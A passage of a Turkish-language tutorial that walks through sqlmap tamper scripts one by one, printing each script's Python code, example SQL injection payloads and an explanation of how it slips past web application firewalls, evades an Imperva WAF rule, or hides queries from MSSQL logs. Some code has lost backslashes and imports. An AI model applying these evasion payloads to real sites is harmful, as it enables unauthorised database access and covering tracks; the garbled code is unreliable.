  • 21. 20)nonrecursiveplacement.py #!/usr/bin/env python import random import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE") retVal = payload warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords) warnMsg += "You can set it manually according to your needs" singleTimeWarnMessage(warnMsg) if payload: for keyword in keywords: _ = random.randint(1, len(keyword) - 1) retVal = re.sub(r"(?i)b%sb" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) return retVal >>> tamper('1 UNION SELECT 2--') >>>'1 UNIOUNIONN SELESELECTCT 2--' Bu bypass çeşidini açıklamakta fayda var. Mesela: UNION <-- yazdıgınızda sayfa sizi ana sayfaya yönlendiriyor. SELECT <-- yazdıgınızda gene ana sayfaya yönlendiriyor. Yani bu demektir ki bazı komutlara karşı önlemler alınmış. Peki bu bypass ne yapıyorda geçiyor diye düşünebilirsiniz. UNIOUNIONN <-- UNION tekrar yönlendirme alacagınızı biliyorsunuz.Yani sayfa UNION 'u silecek ve sizi ana sayfaya atacak. UNIOUNIONN <-- Buradan UNION kısmını çıkarınca dikkat ederseniz UNI-UNION-ON <-- bunun dönecegi şey tekrar UNION olacak sayfa bizi yönlendirmeyecek komutumuz işleme girecek demektir. Aynı işlem SELECT komutu içinde yapılınca ilk önce verdigimiz komutlar engellense bile firewall'ın önlemini kendisine karşı tekrar kullanmış olucaz.
  • 22. 21)percentage.py #!/usr/bin/env python import os import string from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 elif payload[i] != ' ': retVal += '%%%s' % payload[i] i += 1 else: retVal += payload[i] i += 1 return retVal >>> tamper('SELECT FIELD FROM TABLE') >>>'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' *Adds a percentage sign ('%') infront of each character* Direk olarak kelime engelleri olan bir önceki scripttede anlattıgım gibi engelleri geçmek için yapılmış bir scriptimiz. Requirement: * ASP Tested against: * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0
  • 23. 22)randomcase.py #!/usr/bin/env python import re from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group() if word.upper() in kb.keywords: _ = str() for i in xrange(len(word)): _ += word[i].upper() if randomRange(0, 1) else word[i].lower() retVal = retVal.replace(word, _) return retVal >>> tamper('INSERT') >>>'INseRt' Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 *Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Bu bypass çeşidini web güvenlik açıklarına ilgisi olan hemen hemen herkez duymuştur diye tahmin ediyorum. PHP'de direk olarak kelime engellerini aşmak için komutu bilinen standartın dışında yazmaya çalısıyoruz. Örnege eklemeler yapacak olursak : ıNSert InSeRT INSert ınsERt
  • 24. 23)randomcomments.py #!/usr/bin/env python import re from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): retVal = payload if payload: for match in re.finditer(r"b[A-Za-z_]+b", payload): word = match.group() if len(word) < 2: continue if word.upper() in kb.keywords: _ = word[0] for i in xrange(1, len(word) - 1): _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) _ += word[-1] if "/**/" not in _: index = randomRange(1, len(word) - 1) _ = word[:index] + "/**/" + word[index:] retVal = retVal.replace(word, _) return retVal >>> tamper('INSERT') >>>'I/**/N/**/SERT' "Add random comments to SQL keywords" Yaptıgı şey tam anlamıyla üstteki yorumun aynısı.SQL komutunu seçer ve /**/ <-- eklemeleri yapar.Comments dedigi budur yani --> /**/ . IN/**/SER/**/T IN/**/SE/**/RT I/**/NSE/**/T gibi random olarak bypass işlemini gerçekleştirir.
  • 25. 24)securesphere.py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: http://seclists.org/fulldisclosure/2011/May/163 """ return payload + " and '0having'='0having'" if payload else payload >>> tamper('1 AND 1=1') >>>"1 AND 1=1 and '0having'='0having'" Bu bypass referansta verildigi gibi 2011 yılında bulunmuştur.Referansı biraz inceleyerek yorum yapacak olursak. [Vulnerability Details] the vector: 15 and '1'=(SELECT '1' FROM dual) and '0having'='0having' won't be classified as malicious and will bypass the SQL Injection filter. [Summary] Due to a typo in one of the rules of the sql injection engine the WAF can be bypassed by appending a specially crafted string. Yani şu durum çıkıyor ortaya AND 1=1 kabul edilmedi tekrar and koyuyoruz ve, "Specially crafted string." <-- özet kısmındanki şu kısmı gerçekleştiriyoruz.Ortaya çıkan sonuç şu oluyor: AND 1=1 and '0having'='0having' <-- Hedefe yolladıgımız komut bu.Hedef birinci eşitligi kabul etmedigi için özel hazırlanmış bir eşitlik veriyoruz.Yani hedefin gördügü aslında sadece bu: '0having'='0having' Bundan sonra noluyor derseniz birinci eşitligi kabul etmediginden daha sonra bu kısma bakıyor.Bunlar eşitmi ? diyor.Bakıyor bunlar eşit sonuç şudur diyor.Ve bypass işlemi başarılı !
  • 26. 25)sp_passwords.py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def tamper(payload, **kwargs): """ Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs Requirement: * MSSQL Notes: * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure * Reference: http://websec.ca/kb/sql_injection """ retVal = "" if payload: retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "") return retVal >>> tamper('1 AND 9227=9227-- ') >>>'1 AND 9227=9227-- sp_password' Farklı bir bypass çeşidiyle karşı karşıyayız. SP_PASSWORD (Hiding Query) Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure. SP_PASSWORD Example: ' AND 1=1--sp_password Output: -- 'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons. Bu tip bypasslar için http://websec.ca/kb/sql_injection linkinden hepsini tamamen okumanızı tavsiye ederim.
  • 27. 26)versionmorekeywords.py #!/usr/bin/env python import os import re __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=W|Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') >>>'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*! IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#' *Encloses each keyword with versioned MySQL comment* Mysql comment dedigi /*! KOMUT */ şeklinde düzenlemede başa ve sona gelen ifadelerdir.Böyle bol ve tekrarlı komutların oldugu durumlarda herhangibi bir komut engellenirse komutumuzun içinde birden fazla olacagından hepsine mysql comment 'i ekleyerek bypass ediyor scriptimiz.
  • 28. 27)space2comments.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == ''': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue retVal += payload[i] return retVal >>> tamper('SELECT id FROM users') >>>'SELECT/**/id/**/FROM/**/users' *Replaces space character (' ') with comments '/**/'* Yani bütün boşlukları dolduruyor çogu amatörü durdurabilecek bir firewalldır.Çünkü istediginiz kadar komut yazın çalışmaz.Ama aslında komutlarınızla ilgili bi durum degildir bu sadece url içindeki boşluklar firewall tarafından engellenmiştir ..
  • 29. 28)space2dash.py #!/usr/bin/env python import random import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('n') """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "--%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal >>> tamper('1 AND 9227=9227') >>>'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' Yorumdan ilerleyerek ele alalım. Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('n') Boşlukları dash = tire ile degiştiriyorum,devamında ise random bir string = dize sıkıştıyorum araya, devamında ise yapacagım şey new line = boş satır bırakmak diyor. Sonuç: >>>'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
  • 30. 29)space2hash.py #!/usr/bin/env python import os import random import string from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal >>> tamper('1 AND 9227=9227') >>'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227' Bir önceki işlemin benzer bir versiyonu bu. Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('n') Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html
  • 31. 30)space2morehash.py #!/usr/bin/env python __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): def process(match): word = match.group('word') randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr)) else: return match.group() retVal = "" if payload: payload = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=W|Z)", lambda match: process(match), payload) for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal >>> tamper('1 AND 9227=9227') >>>'1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227' Bir önceki kodlardan tek farkını tahmin etmissinizdir.Sadece daha fazla random string ifadeyi araya sokuşturuyor. space2hash = retVal += "%%23%s%%0A" % randomStr space2morehash= return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
  • 32. 31)space2mssqlblank.py def tamper(payload, **kwargs): blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '% 0A') retVal = payload if payload: retVal = "" quote, doublequote, firstspace, end = False, False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == ''': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == '#' or payload[i:i + 3] == '-- ': end = True elif payload[i] == " " and not doublequote and not quote: if end: retVal += random.choice(blanks[:-1]) else: retVal += random.choice(blanks) continue retVal += payload[i] return retVal # ASCII table: # SOH 01 start of heading # STX 02 start of text # ETX 03 end of text # EOT 04 end of transmission # ENQ 05 enquiry # ACK 06 acknowledge # BEL 07 bell # BS 08 backspace # TAB 09 horizontal tab # LF 0A new line # VT 0B vertical TAB # FF 0C new page # CR 0D carriage return # SO 0E shift out # SI 0F shift in >>> tamper('SELECT id FROM users') >>>'SELECT%0Eid%0DFROM%07users' Replaces space character (' ') with a random blank character from a valid set of alternate characters Açıklamada anlattıgı gibi araya ascıı karakterlerden "anlamsız" ifadeler sokarak bypass ediyor. Eger dikkatli ve gerçekten ögrenmek isteyen bir insansanız şunu fark etmissinizdir.Ascıı tablosunu yukarıda gösterdim.Şunu görmüstünüz %0A önceki iki scriptimizde new line yerini tutuyordu.Demek ki ascii karaktermiş bunuda bi köşeye not edelim ..
  • 33. 32)space2mssqlhash.py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Replaces space character (' ') with a pound character ('#') followed by a new line ('n') Requirement: * MSSQL * MySQL Notes: * Useful to bypass several web application firewalls """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "%23%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal >>> tamper('1 AND 9227=9227') >>>'1%23%0AAND%23%0A9227=9227 Replaces space character (' ') with a pound character ('#') followed by a new line ('n') Gördügünüz gibi bütün bypasslar birbirine benziyor ama hiçbiri aynı degil.Boşlukları # ile degiştiriyor. Ama diyeceksiniz ki içinde # yok.Çünkü urldecode işlemi yapılmış buda %23 'e karşılık geliyor.%0A 'yı zaten önceki script anlatımımda ögrendiginizi umut ediyorum ..
  • 34. 33)space2mysqlblank.py def tamper(payload, **kwargs): blanks = ('%09', '%0A', '%0C', '%0D', '%0B') retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == ''': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += random.choice(blanks) continue retVal += payload[i] return retVal # ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) Bunu daha önce görmüstük.Ama mssql için ayarlanmış tabloda bypasslar gerçekleşiyordu.Bu bypass scripti sadece MySQL 'de bypass yapıyor. >>> tamper('SELECT id FROM users') >>>'SELECT%0Bid%0DFROM%0Cusers' Requirement: * MySQL Tested against: * MySQL 5.1
  • 35. 34)space2mysqldash.py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "--%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal Gene sadece mysql serverlar için yazılmış özel bir script.Bu sefer bypass çeşidi farklı yapılandırılmış. >>> tamper('1 AND 9227=9227') >>'1--%0AAND--%0A9227=9227' Replaces space character (' ') with a dash comment ('--') followed by a new line ('n') Bu cümle ve benzerini bolca duydunuz birşey üzerinden bolca bypass çeşidi çıkartırlmış.Buda sqlnin geniş yapısını anlatmaya yetiyor. SQL komutlarında "--" (çift tire) yorum satırı olarak geçer.
  • 36. 35)space2plus.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "+" continue elif payload[i] == ''': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "+" continue retVal += payload[i] return retVal >>> tamper('SELECT id FROM users') >>> 'SELECT+id+FROM+users' Replaces space character (' ') with plus ('+') Boşlukları + ile koyarak en temel bypass çeşitlerinden birini gerçekleştiriyor. Notes: * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases Tabi bu genede bypassmı be ! Diyenler için notta düşülmüş.
  • 37. 36)unionalltounion.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload >>> tamper('-1 UNION ALL SELECT') >>>'-1 UNION SELECT' Bu scriptin işlevini bir bakışta herkez anlayabilir ama inanın bazen sadece "ALL" yüzünden bile hata alabilirisiniz.Kaldıki programlar zeki degildir eger ki içinde olmayan birşeyse anlayamaz veya devam ettiremez.Şimdi sizin gözünüzde çok basit bir script olabilir ama buraya kadar anlattıgım tüm scriptlerin birbirine baglı oldugunu düşünün ? Ayrıca bu sqlmap'ın sadece bir dosyası bunuda unutmayalım. 37)unmagicquotes.py def tamper(payload, **kwargs): retVal = payload if payload: found = False retVal = "" for i in xrange(len(payload)): if payload[i] == ''' and not found: retVal += "%bf%27" found = True else: retVal += payload[i] continue if found: _ = re.sub("(?i)s*(AND|OR)[s(]+'[^']+'s*(=|LIKE)s*'.*", "", retVal) if _ != retVal: retVal = _ retVal += "-- " return retVal >>> tamper("1' AND 1=1") >>>'1%bf%27 AND 1=1-- ' """ Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) """ """ Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string """ #Referans linklerini incelemeniz #gerekiyor.
  • 38. 38)versionedkeywords.py #!/usr/bin/env python import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): def process(match): word = match.group('word') if word.upper() in kb.keywords: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=[^w(]|Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal Sadece MySQL serverlar için özel bypass scriptidir. >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') >>>'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*! CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#' Aslında scriptler birbirine benzesede dikkatli incelerseniz hiçbirinin aynı olmadıgına emin olabilirsiniz.
  • 39. 39)space2randomblank.py #!/usr/bin/env python import random from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): # ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return blanks = ("%09", "%0A", "%0C", "%0D") retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == ''': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == ' ' and not doublequote and not quote: retVal += random.choice(blanks) continue retVal += payload[i] return retVal """ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 """ >>> tamper('SELECT id FROM users') >>>'SELECT%0Did%0DFROM%0Ausers' #Her bypass çeşidi test edilmiştir. #Gördügünüz gibi bu scriptlerin hepsi sqlmap'a #tamamen baglıdır. #39 farklı bypass yöntemini gördük artık sqlmapın #nasıl bypass yaptıgını tamamen biliyorsunuz.